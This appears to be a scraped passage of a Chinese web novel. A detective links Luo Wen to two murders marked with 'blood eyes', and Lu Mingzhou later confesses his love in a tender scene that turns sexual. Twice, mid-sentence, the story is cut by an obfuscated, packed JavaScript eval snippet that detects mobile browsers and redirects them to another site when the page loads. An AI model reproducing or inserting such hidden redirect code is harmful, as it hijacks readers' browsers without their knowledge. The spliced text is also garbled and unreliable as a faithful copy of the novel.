邵子阳神色依旧严肃而谨慎,闻言瞥了身侧的警员一眼,看对方轻轻点头,才道:“不止如此,我还清楚你曾经因为骆温和柯天宇发生过冲突。” 陆明昼不傻,知道以对方精明能干的性格,绝对不会无缘无故的提及这个名字,他不再懒懒地斜坐,端正了身子,目光紧盯着邵子阳。 邵子阳没有隐瞒,而是直接说道:“柯天宇昨夜死了。” 陆明昼脸上露出惊愕的神色,都说祸害遗千年,如果按照原来的剧情走向,这个时候的柯天宇纸醉金迷,欺男霸女,不知过得有多么快活。可如今在邵子阳的嘴里,就这么轻飘飘地没了。 “实际上,你所说的这些时间,我在来时就已经和同事调查过了。”邵子阳不紧不慢的说道,眼瞳注视着陆明昼,那双锐利的眼眸深处,隐含着几缕担忧之色。 陆明昼疑惑不解,只觉得他身上充满了一种古怪的神秘和紧张:“那你应该知道,我们两人并没有作案的时间。” 邵子阳脸色黑沉,眉宇间露出一抹凝重,片刻后才道:“你放心,我来这一趟不过是出于我职业的严谨,再确认一下。等一会儿,我希望能和骆温再谈谈。” 见陆明昼迟疑,他脸上浮现出略为浮夸的神色:“就借一会儿,你也不用护成这幅样子吧?就问个几句话,非常快的。” 陆明昼这才颔首应下,昨日骆温大部分时间都和他在一起,而正如邵子阳所说,他来前应该已经确定过了两人的时间线,如果骆温有问题,对方早就把人逮局里了。 邵子阳从兜里翻出一支烟,咬在唇间,抬头看了看厨房,那里半掩着门,油烟机正发出轰轰的声音,有道身影正在里面忙碌,似乎根本没有注意到他们的到来。 邵子阳点燃口中的烟管,一道白色的雾气腾起,他的神色变得模糊:“你知道江城分尸案吗?” 陆明昼一愣,转问系统:“你听说过吗?” 系统正听得聚精会神,闻言摇了摇头。 “忘了你那时候还忙着上学呢,这事听起来渗人,不奇怪你不知道。”他吸了口烟:“十几年前,江城有片旧民宅根据政府的规划正要拆除,那天几个工人正要做事,就在里面的一间民宅里发现了一具无头男尸,身上还遍布伤痕,就好像,有什么人和他有深仇大恨一样。” 陆明昼心头生出了一种奇异的感觉,依照邵子阳的个性和身份,他不可能如此长篇大论的提及一件毫不相干的恐怖案件。 邵子阳咬着烟头,话语有些含糊不清:“后来,警察翻遍旧民宅周围的垃圾桶和下水道,后面是一个清洁工第二天在附近的公园里的找到了。头颅被找到,这具无头男尸的身份也得到了确认,经过他情人的辨认,这具男尸姓骆。” 陆明昼的头脑中划过一丝古怪的念头,浑身都如同被雷电过了一遍:“十几年前……这具尸体,该不会是骆温的亲生父亲?” 他的提问得到了肯定,邵子阳轻轻点头:“不错。骆华荣在京海早就成家立业,他是个入赘女婿,凭借自己的老婆开了一家小规模的水产公司,因为生意的缘故,他会时常来江城出差,而骆温的母亲,就是他在这期间结识的情人。” 天上忽而响起了一声闷雷,温暖照耀着地面的太阳不知何时隐藏起来,只剩下了一片乌云密布。 陆明昼静默片刻,点漆似的黑眸对上对方:“你不会无缘无故提及这些,而且吐露这么多,不会违反你们的条例吗?” 他看向身边,不知何时,身侧的警员似乎关闭了执法记录仪,正低头喝着手中的开水,仿佛什么也不知道一般。 邵子阳嗤笑一声,略显粗糙的手指抖了抖指尖的烟尘:“这算哪门子机密,早八百年前的事情,不过……” 他语气稍缓,突然问了一句:“你见过一双血瞳吗?” 陆明昼心中一惊,猝不及防下差点儿没露出什么异样来,但他惯会做样子,心跳已经加快了许多,面上却依旧神色从容,只是皱着眉,像是困惑不解般重复:“血瞳?” 邵子阳抿灭烟头,将它丢进垃圾桶里,眸色中多了几分慎重:“无论是骆华荣,还是柯天宇的案发现场,都被人用鲜血刻画上了一双人的眼瞳。” 陆明昼此时除了震惊之外,还是震惊。他面上也展现出恰到好处的惊愕,内心却在与系统对话:“这些案件,在原剧情中也发生过吗?” 系统翻阅着剧情,同时也非常的吃惊:“骆华荣的案件,倒是有一笔带过,但柯天宇在原文里,这个时间点还活得好好的呢。” 陆明昼很怀疑,是不是自己的到来引起了未知的蝴蝶效应,导致剧情发生了巨大的转折。 这可不是什么好事……陆明昼眼底闪过几分忧色。 他眉间攒蹙,不动声色地回望了一眼厨房的方向,进一步问道:“那骆华荣的案件,抓到真凶了吗?” 邵子阳一向镇定自信的脸上浮现出苦笑,他摸了摸胸口,有些想再抽一根烟:“没破,如果天上真有一双注视着所有人类的眼睛就好了,那也不会有那么多积尘的悬案了。” 陆明昼想安慰他,却又不知从何说起。更何况,如果天上真有一对眼睛……他回忆起自己死前血瞳临空,百鬼夜行的场景,心中默默地叹了一口气:那简直是人间炼狱。 邵子阳起了话头,一时有些收不住,不过他今天并不只是单单为陆明昼来解释这两桩案子的。 “明昼,你知道我师父是谁吧,就是那位别人口中的刑侦三虎之一,他一直没放弃过追查这桩案件。”邵子阳从公文包中抽出几张照片。 那是不同的 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假若这个组织真的存在,它们的目的会不会是骆温呢?可骆温身上又有什么,除了那尊只要骆温陷入痛苦与黑暗便能拉着这个世界一同陷入黑暗的天使塑像。 陆明昼的脑中浮现了一排曾经看过的剧情,那是段他刚来到这个世界所解锁过的文字描述。 【骆温用他的痛苦打开了这个世间最恐怖的门……】 会是因为它吗? 有些人向往光明,厌恶黑暗,可有这么一伙人,他们所期待的是一个充满恶意与血腥的鬼怪世界呢? 联想到骆温在原来剧情中的遭遇,这看似玄幻的推测……似乎并不是不可能的事情。 他问道:“系统,你觉得我猜测的对吗?” 系统不擅长推理,却还是转动起了脑筋,努力翻看着原文中所提及的剧情,可能是限于原著中主角的视线,对于反派的身世并没有进行详细的描述,但那个关于血瞳的组织,却还是狂翻原书剧情的系统给找到了,它肯定原文中有这么一个丧心病狂的组织出现,并且是作为原书作者埋藏了很久,对抗主角的暗线。 邵子阳身一线侦查人员,感官非常敏锐。察觉到陆明昼的若有所思,他鹰隼一般的目光立即锁定在了他的身上:“你知道了什么?” 陆明昼没办法把任何和原文剧情的相关的事情告知他,更不能提及骆温背后那尊实力可怕的诡神。 他暗叹口气,只能无奈地转移了话题:“没有,只是一般人听见你这么说,都会有些害怕的吧。你来,除了找我们问话,一通长篇大论之外,肯定还有别的事情吧?” 邵子阳意味不明的看了他一眼,总觉得他没有说实话,但沉默半晌,他的目光扫过厨房那处,又转过头来:“我希望,你能够小心点。据我们猜测,你这位小情人身边或远或近的人,都有可能成为血瞳组织的下一刻目标。” 他语气一缓,眼中多了份柔色和顾虑:“怎么说,我还是不愿意见到你出事,骆温很危险,所以……离他远一点,这是我的忠告。” 邵子阳话音方落,厨房里的油烟机便停了下来。是骆温,已经走出了厨房。 他的手里捧着一碗香气飘飘的长寿面,上面还漂着两个金灿灿和油滋滋的煎蛋以及若干蘑菇。 秀美青年的脸色略显苍白,那双黑白分明的眼睛末梢微微上翘,形成了一段狭长又妩媚的流线,覆着那幽深如墨的眸子,透着点凉薄,站在那时,有种有些生冷不好靠近的感觉。 16.疼惜 外头一阵雷鸣,窗外开始下起了淅淅沥沥的小雨,屋子内的空气也随之变得潮湿和凝滞。 陆明昼不知道他有没有听到邵子阳的那句话,看见骆温捧着那碗汤底橙黄橙黄,明显是费了不少功夫的面汤出来,他内心的感动自然不必多说。 大少爷缺得不是锦衣玉食,反倒是骆温的真心实意更能打动人心。 他也顾不上太多,下意识想去接青年手中的面汤:“我来。” “不用了,很烫的。”将长寿面搁到陆明昼的眼前,骆温眼眸微垂,眉眼平静而淡漠,清隽的面庞在灯光下没有什么表情,更让人看不出他心里在想些什么。 陆明昼摸摸鼻子,眉心微皱,明明是与平日里差不多的语气,可他就是察觉到了骆温有些异常的情绪……是听见了邵子阳的话,所以生气了吗? 他还没开口,邵子阳这时候已经起身向着骆温走了过去。 他拿出自己的证件在骆温的面前亮了亮,微笑着说道:“你好,骆先生,我们有件事情需要你配合,我们可以单独谈谈吗?” 说着,他把视线看向了陆明昼,脸上依旧保持着十分客套的笑容。 “……”清楚他意有所指,陆明昼颇为无语地走入了里面的洗手间。 隔着卫生间玻璃,低沉略显模糊的声音传入耳膜。两人前面都是寻常的问话,与陆明昼刚才所经历的并没有什么区别。 可听到后面,陆明昼却皱起了眉头。 邵子阳问:“你的母亲有没有告诉你,你父亲的下落?” 骆温声音很平静:“我不清楚,她不经常和我提起这些事情,只说父亲抛弃了我们。” 邵子阳又出声:“那你有没有想过,可能不是你的父亲抛弃了你们,而是他,再也回不来了呢?” 骆温的声音似乎发生了变化,带这些不解:“为什么这么说?” 邵子阳说:“江城分尸案你没有听说过吗?这么大的事情,你当年就算是个学生也应该听过一些风声吧。” 骆温道:“那年后,我们搬走了,我没有听过你口中的这些东西。” 邵子阳说:“好吧,其实这桩分尸案的……” 陆明昼打开门,面无表情地望着沙发上的男人,而邵子阳也被这开门的声响所吸引,暂时止住了未尽的话语。 “邵子阳,你为柯天宇的事情来,提这些有的没的做什么。”他黑眸沉沉,带着些许压迫感同对方对视着,“当年你也跟在现场,你知道的,他不是真凶,所以你不用这样试探。” 邵子阳能看到他眼中的愠怒,他心头略感吃惊,除却自己那位年纪轻轻就故去的小姨,他还从来没有见过陆明昼这么护过一个人。 他内心生出一股隐忧,脸上却只是眉梢轻扬,半是玩笑道:“行了,知道你护犊子,今天就先这样吧,我们告辞了。” 陆明昼揉了揉眉心,没有说话,随后打开门,一副送客的样子。 邵子阳起身,被他送出门口,却在关门之际,将他拉了出来,低声道:“我知道凶手不是他,可你这位男朋友没有想象中的简单,这几桩案件统统都是围绕他展开……总之,虽然知道你们感情好,但作为你的表兄兼朋友,我还是想提醒你,小心为上。” 陆明昼见他忧心忡忡,沉默片刻,道:“我知道了,不过……骆温他本性善良,不会伤害我的。” 仇恨值都能从百分百降到不足一半,轻轻哄一句就脸红,他能是什么坏人,陆明昼只怕他太好哄,以后被人骗得倾家荡产。 他知道,邵子阳更担心的是什么,是与骆温息息相关的那个血瞳组织。 邵子阳恨铁不成钢,这好好的,怎么就变恋爱脑了呢?他带着满腹腹诽离开了。 陆明昼则转身将门关上,便对上了一双氤着冷意和淡漠的黑眸。 他顿时一愣,而骆温依旧望着他,一动不动,空气中似乎泛起了一股黏稠的阴冷之意,打开的窗户外吹如带有腥气的凉风,陆明昼立刻起了一身的鸡皮疙瘩。 他此时的注意力全在骆温的身上,并没有注意到四周的变化,只是抬手关了窗户,然后皱眉看着骆温:“在这里傻站着做什么,走。” 他自然而然的拉住骆温的手,掌中的手指依旧修长白皙,宛若精雕细琢的艺术品,此时却凉度惊人。 陆明昼不动声色又攥紧了几分,企图用自己滚烫的掌心传递些热度。 他身形高大而修长,比骆温高些,手掌也比骆温要大了许多,张开手掌一抓,便能把骆温的手牢牢掌控。 骆温低头凝视着两只紧紧交缠,颜色不同的手掌,浓密纤长的睫毛在眼底投出一团阴影,看似神色平静,其实被陆明昼攥住的手指,在微不可查的颤抖着。 陆明昼终于察觉到他的静默似乎不大寻常,他知道骆温很聪明,而刚才邵子阳未尽的话语,提到的东西也足够多了。 他不知道骆温对于多年未见的父亲是什么样的感情,但突然听闻一桩分尸案的死者其实是自己的父亲,恐怕任谁都会有些受不了的。 “你不用理会邵子阳的话,他那人就没个正形,嘴里经常跑火车的。” 他以为骆温是因为接受不了突如其来的真相。 但不是。 父亲的面孔随着时间的流逝早就模糊,留存心间的只有怨恨,听闻他似乎死得凄惨,骆温的内心是困惑和不解大过了一切。 他不明白,为什么明明母亲知道,又要骗他?为什么要将男人被杀死的真相变作抛妻弃子的说法……骆温觉得母亲那张怨恨哀戚的面孔变得十分可笑。 他甚至开始觉得,自己为了母亲签订契约的付出变得没有了意义。 如果遇见的不是陆明昼呢? 如果陆明昼真是像传闻中的那样暴虐成性呢? 他会怎么样? 身上泛起一阵又一阵的凉意,胃部里泛起久违的抽搐感,骆温不自觉的蜷缩了几分脊背,单薄的身子摇摇欲坠,脸上浮现一种病态的苍白来。 耳边响起了久违的仇恨值上升的提示音,系统震惊地望着猛然飙升到一半的数值,扯了扯陆明昼的衣角。 而陆明昼此时哪里还关注得到什么仇恨值,他另一只手圈住骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13274158|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温的腰,及时抱住了他,才没叫他瞬间倒在地上。 那双手暖了几分钟依旧没有热意,反倒更加寒冷似冰。 陆明昼有些焦急,不再握住骆温的手,而是把手放在他的膝盖窝,下一刻快步将人放到了沙发。 “怎么了?哪里不舒服?”他连声问道,伸手去探骆温的体温。而骆温眼前像是失了焦距,偏过头,直直地盯着空气中的一点,薄薄的唇角微微上翘,透着股若有若无的讥诮之意。 许久,他像是终于听到了陆明昼的问话,僵直地扭过头,平铺直叙道:“你不怕吗?我和好几桩凶杀案都有关系。像我这样充满不幸的人,你应该远离的。” 陆明昼陷入了沉默,他知道骆温已经听见了他和邵子阳的谈话,可能怎么说呢,难道要说,我在记忆中所见过有关于你的场景比这些事情要恐怖千百万倍,所以那些听起来让人退避三尺的案件,在我眼里甚至还没有你背后的血天使恐怖可怕。 他最终只是道:“我不怕。” 男人的声音低沉喑哑,听不出什么异样情绪,却让骆温幽深的黑眸,像是点燃了两簇淡淡的萤火。 他的话似乎只起了一瞬的作用,骆温又缓缓低下头,蜷缩在沙发的一角,抱住自己的膝盖,自言自语般的低声喃喃:“骗人的……都是骗人的。她在骗我,你最后也会骗我的。” 他像是最后说服了自己,在角落里缩成一团,似一只失了温的孤鸟般在阴暗潮湿的巢穴中瑟瑟发抖,眼角眼尾不断有泪渗出。 ……果然是因为突如其来的真相?陆明昼没有不耐烦,从前是为了降低仇恨值才不断去接近帮助面前的人,现在更多的却是单纯的心疼。 他蹲在骆温跟前,去一根一根掰开骆温紧紧扣住手心的手指,凭借着廊道的一缕灯光,可以看见洁白的掌心扣出深刻的指甲印。 他张开骆温的手心,将自己的手掌落在他的手上,十指交握,每一处都空隙都被填满,仿佛天生一对般的契合。 一个从未出现过的想法,正如同小芽一般破土而出。 他想要提前终止协议,用一种更正大光明的方式去对待面前的人。 这个想法来得突然,却迅速在心中酝酿起狂烈的风暴。 凝望面前哭得无声细碎的青年,陆明昼蹲在对方面前,低头望了望,最后只好抓起身上的衣角轻轻给他擦眼泪。 可这只眼睛刚擦过,另一只眼睛的泪水就浸湿了睫毛。 雨声依旧不停,滴滴答答,有转大的趋势,窗外乌云密密麻麻,挡住了天光,连同房间里也是一片昏暗。 黑暗中,陆明昼擦得手忙脚乱,他索性捧着骆温的湿透了的面颊,节骨分明的手指轻轻揩过他的泪珠,然后是眼睛,苍白的面颊以及高挺的鼻梁。 温热的手掌在冰凉的面颊细细摩挲,就好似点燃了的火苗,烫得骆温在漆黑中睁开了眼睛。 他泛起薄红的眼眸重新聚焦,在昏暗的光线中锁定面前人的面孔,对上了一双灿若星辰的眼眸。 只听他轻声说道。 “骆温,我们停止协议吧。” 17.表白 骆温纯黑色的瞳孔紧缩,眼眸里划过一缕痛楚,心里泛起一圈又一圈恍如涟漪般的苦涩。 的确,本就是因为利益而诞生的不平等协议,面对着随时可能被牵扯进凶案的危险,趁早结束确实是明智之举。 骆温的大脑反射性的开始思考这些话。 他觉得自己明明应该觉得高兴的,结束了这纸荒唐的协议,意味着他以后自由了,不比再和眼前这金尊玉贵的大少爷再扯上半点儿关系……这不就是当初的他想要的吗?希望陆明昼能够快些厌倦自己,就不用再挣扎怨恨。 可骆温发现自己并不高兴,酸涩在心底无声蔓延,压得他一时间呼吸困难。 骆温下意识的垂眸,不想叫对方看见此时自己脸上的神色,他偏过头,脸颊边的皮肉僵硬的牵动,露出了一个笑比哭还难看的神色。 “好……好。”他断断续续的说着话,机械性的开口,“这两天……不……我的东西少,今天就可以收拾完……” 语音未落,喉咙口如同被什么哽住一般,再也说不出话来。 他想压住心头的酸楚和难过,只是内心像是被突然冲垮的岸堤,侧过脸时,有灼热而苦涩的液体从面颊滑过,滴滴答答在地板上,发出微小却清脆的声响。 太狼狈了……太难看了,骆温近乎自我怨恨的想道,忍不住伸出五指,挡住自己上半张泪痕斑驳的脸庞,近乎掩耳盗铃一般,就好像挡住了,眼前的人就看不见他犹如丧家之犬般狼藉的内心。 “骆温……学长……宝贝……”凝视着面前几乎哽咽出声的青年,陆明昼简直是懵了,他话还没说完了,到底在脑补什么东西?怎么就一瞬间哭成了这个样子。 陆明昼慌得烧心,蹲在遮掩住自己面颊,只偶尔泄露出一两句细碎哭声的骆温,他不停地变换着称呼,索性站起身来,同骆温一起挤在沙发上。 陆明昼近乎强硬般地拉扯住骆温挡住自己面颊的那只手,对方咬着下唇,赤红着眼睛对他对视着,表情除却错愕之外,更多的则是难堪。 “我的意思是……去他的垃圾合约。”他舔了舔淡色的唇瓣,不知道为什么,心里头竟然有种当初等待第一款游戏出反响时候的紧张与期待,“我想要追你。” 昏暗的灯光下,他深邃清晰的侧脸映着光,连同着熠熠生辉的眼睛,更是俊美生动了几分。 他抬起手,用柔软的指腹轻轻揩去骆温面颊上一颗又一颗晶莹的泪珠,也看见了对方错愕转为茫然的神情。 借着微弱的光线,那双漆黑深沉,本是铺满阴翳的眼珠子逐渐清晰倒映出陆明昼的五官轮廓,他的眸子慢慢像是月光下被点亮了星星,开始亮得璀璨耀眼,叫人移不开眼睛。 机械的系统提示音似乎在响着什么,好像是什么反派仇恨值正在降低中,但陆明昼哪里还能分出什么心思去理会。 他紧紧地望着面前神色仍旧处于恍惚当中的青年,触碰对方面颊的手在微不可查的颤抖着。 良久的静寂中,他喉结滚动,修长的手指缓慢下移,圈住骆温的手腕,而后用力收紧,往着自己的怀中轻轻扯了扯,几乎是一个拥抱的动作。 他低沉醇厚的嗓音在安静的空气中回荡,比起往日的磁性,这次开口的声音携着些许的干涩与紧张。 昔日里浪荡浮夸的公子哥脸色严肃又谨慎,那脸上的表情不似追求,更像是在许诺着天长地久的婚礼誓言。 骆温恍惚间只觉得落到了梦中,眼前的一切虚幻可笑的简直像一场他这种可怜虫幻想出来的美梦。 什么时候陆明昼这种养尊处优,唯我独尊的公子哥,追求人还要问问对方肯不肯了? 可他还是忍不住心神摇曳。 下唇在刚才不知什么时候被他咬得血迹斑斑,鲜血渗在唇瓣上,宛若涂上了一层鲜红的口脂,配上他眼下两点鲜艳欲滴的泪痣,竟生出了几分妖冶欲滴的感觉。 骆温的脸色依旧苍白,面上的泪痕被陆明昼先前的动作尽数擦拭,只是浓黑的长睫上依旧有些湿润。 他纯黑浓郁的瞳孔倒映着陆明昼忐忑紧张的脸庞,心中鼓胀着一种他从未体验过的情绪,像是燕雀跳跃般的喜悦,还有些即将拥有又害怕失去的小心翼翼。 “……我有什么好呢?”他有些突兀地问道,眼帘低垂,像是在问眼前的人,更像是在问自己。 陆明手中力度收紧,骆温便像如同一只瑟缩着翅膀,颤抖着身子的蝴蝶向他跌来。 冰凉瘦削的身子倒入怀中,陆明昼总觉得怀中的人单薄得犹如纸人,稍加凛冽的风一吹,便能碎得四分五裂。 “很好,特别好……”陆明昼用着有些浮夸上扬的语气强调着,不住地夸赞,让骆温恍惚如灵魂出窍般的身躯又拉入人间,“让人只要看过第一眼,就一直惦记着。” 陆明昼想,自己的确没有撒谎,无论是骆温本身身上独特的气质,还是他背后所隐藏的诡异雕像,哪一个见了,都让他牢记心底,无法忘怀。 如今,只是他对前者的感情稍稍有了些偏差,但陆明昼抱着骆温,熟悉又安心的气息飘入鼻腔……他想,这也无妨,只要是怀中的人,是男是女,是人是鬼,都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13281306|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有关系的。 骆温在黑暗中的耳尖泛起微红,热意很快便从耳根子弥漫到了脸颊,他靠在男人厚实硬挺的胸膛上,能清楚地听见对方的心跳,也能听见自己的心跳一同在砰砰作响,两者一前一后,逐渐融为了一体。 他一只手抵住陆明昼的胸膛,抬起脸,另一只手圈住他的脖颈,轻轻下拉,从前的声线依旧偏冷,可如今温和了许多,甚至似乎裹了蜜一般,透着丝丝甜意:“嗯,让你追。” 他缓了缓,又补上一句,抬眼吻上陆明昼的唇角,又目不转睛地望着他:“恭喜你,已经追到了。” 他幽深专注的眼神仿佛能将时间化作永恒一般,盯得陆明昼起鸡皮疙瘩,他的手指圈起骆温一缕散落到耳边的碎发,骆温眨了眨眼,还是那样执拗而专注地望着他。 陆明昼的表情难掩诧异:“就这样……我都什么还没做呢?” 陆明昼的脑子中预想了许多,但打破脑袋也没有想到会这么的轻而易举。 陆明昼沉默良久,让骆温的眼瞳中浮现困惑,不禁仰头望他。 陆明昼痛心疾首:“你这太好哄了,被人骗了怎么办?” 骆温黑黝黝的眼眸静默地注视着他:“你会骗我吗?” 陆明昼想,除了系统和剧情不可透露之外,他也没有什么事情隐瞒过骆温吧,于是他神色镇定,捧着人的脸深深地摁了下去。 “当然不会。”尾音被吞没在缠绵纠缠的吻中,滚烫温柔的气息始终包围着骆温,他的眼睛在昏暗中缓缓闭上,额头抵住男人的胸膛,手指不由得攀上对方肌肉结实的手臂。 挺难受的,可又有着满满的安全感。 好一阵子过后,身上的汗水几乎浸湿了早上刚更换过的衬衫,他窝在陆明昼怀中,声线略有些颤抖着,眼圈微红,不知是委屈还是别的,呼吸有些紊乱,浑身就像是被抽去了筋骨一样,哑着嗓子说道:“……我没别的衬衫了。” 这小祖宗……陆明昼咬着牙,握着他的腰道:“等会儿给你买,神仙。” “……”骆温没说话,听着他咬牙切齿又无可奈何的语气,心头莫名滚过一股酸楚和甜蜜,他嗅着陆明昼夹杂着汗水的气息,眼眶涌起热意,不是先前的苦楚,更似第一次被人捧在手心的惶恐与不知所措。 然而……这点子有些矫情的自怨自艾马上随着陆明昼的话消失的无影无踪。 他说:“等下去买你的衣服,顺便带盒套回来。” 骆温以为自己听错了,眼中逐渐溢满了难以置信,结果又听他字正腔圆的补充:“晚上用。”